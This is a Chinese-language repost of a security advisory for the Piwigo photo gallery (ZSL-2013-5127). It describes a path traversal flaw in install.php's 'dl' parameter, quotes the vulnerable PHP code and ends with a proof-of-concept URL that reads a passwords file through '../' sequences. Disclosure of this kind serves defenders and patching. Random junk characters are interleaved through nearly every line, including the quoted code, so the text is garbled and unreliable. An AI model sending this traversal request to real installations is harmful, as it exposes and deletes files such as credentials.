Piwigo是用PHP编写的相册脚本。
0 t% v6 j) [3 P
& M$ d9 |3 I6 o* fPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
9 v+ u! L; H/ ~====================================================================
( Y1 F' h; Q5 ], M/install.php:) L Y3 s% X" \6 u: J
-------------
2 E# {4 s7 @5 a+ W8 N113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))7 e0 C7 Y) C U2 f' C2 z
114: {, ^3 C9 T) E. i
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];0 K" u* k9 V7 P. h8 l. Q
116: header('Cache-Control: no-cache, must-revalidate');4 O. q6 \' ^: H; E
117: header('Pragma: no-cache');
6 S/ T" f% [3 B/ R118: header('Content-Disposition: attachment; filename="database.inc.php"');
a- ?$ D( X. R) j* U- D, \" R119: header('Content-Transfer-Encoding: binary');
7 p. W- A! ^' X- k6 ^4 u4 Z# v: p" O120: header('Content-Length: '.filesize($filename));" t/ ^. G' n; x! ?
121: echo file_get_contents($filename);4 b! A2 t8 A1 k5 G) P
122: unlink($filename);: F$ c& Y' v& D6 a: u
123: exit();
1 ^( a5 d6 ]2 L124: }4 ?1 F7 b+ _* P9 `; h% B
====================================================================
' |0 F# O+ O4 V: R
8 x% h5 C& z' ~! _Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
+ N3 P" S F% Q: u, J: ~* b Apache 2.4.2 (Win32)8 K4 s- }! m8 v8 F5 u3 G) J
PHP 5.4.4 S. C2 N- P. U1 s& D
MySQL 5.5.25a3 p7 j& G; d1 p
7 x) j5 r. O) {. t$ l* ]Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
& C" n! U' p3 } g( ?! B( ~( z' ^ @zeroscience# U: s% j/ E2 m
' a( b2 W) w; A, H* z- n- c
Advisory ID: ZSL-2013-5127, }1 F8 b. A. C
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php- p8 G* Z5 ?0 t/ R
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843# J' F! K7 ?3 b/ M
0 a! Z9 d5 Q' m$ ~3 w+ R2 K: h15.02.2013! c5 r& B5 Q; R6 G6 P! \9 ~
% h7 U! G9 P1 F--
. z$ u% i( T8 r0 F# Nhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
. J) ?- S/ [* |2 p0 s% B ; F- p' a/ T, u A9 y X
|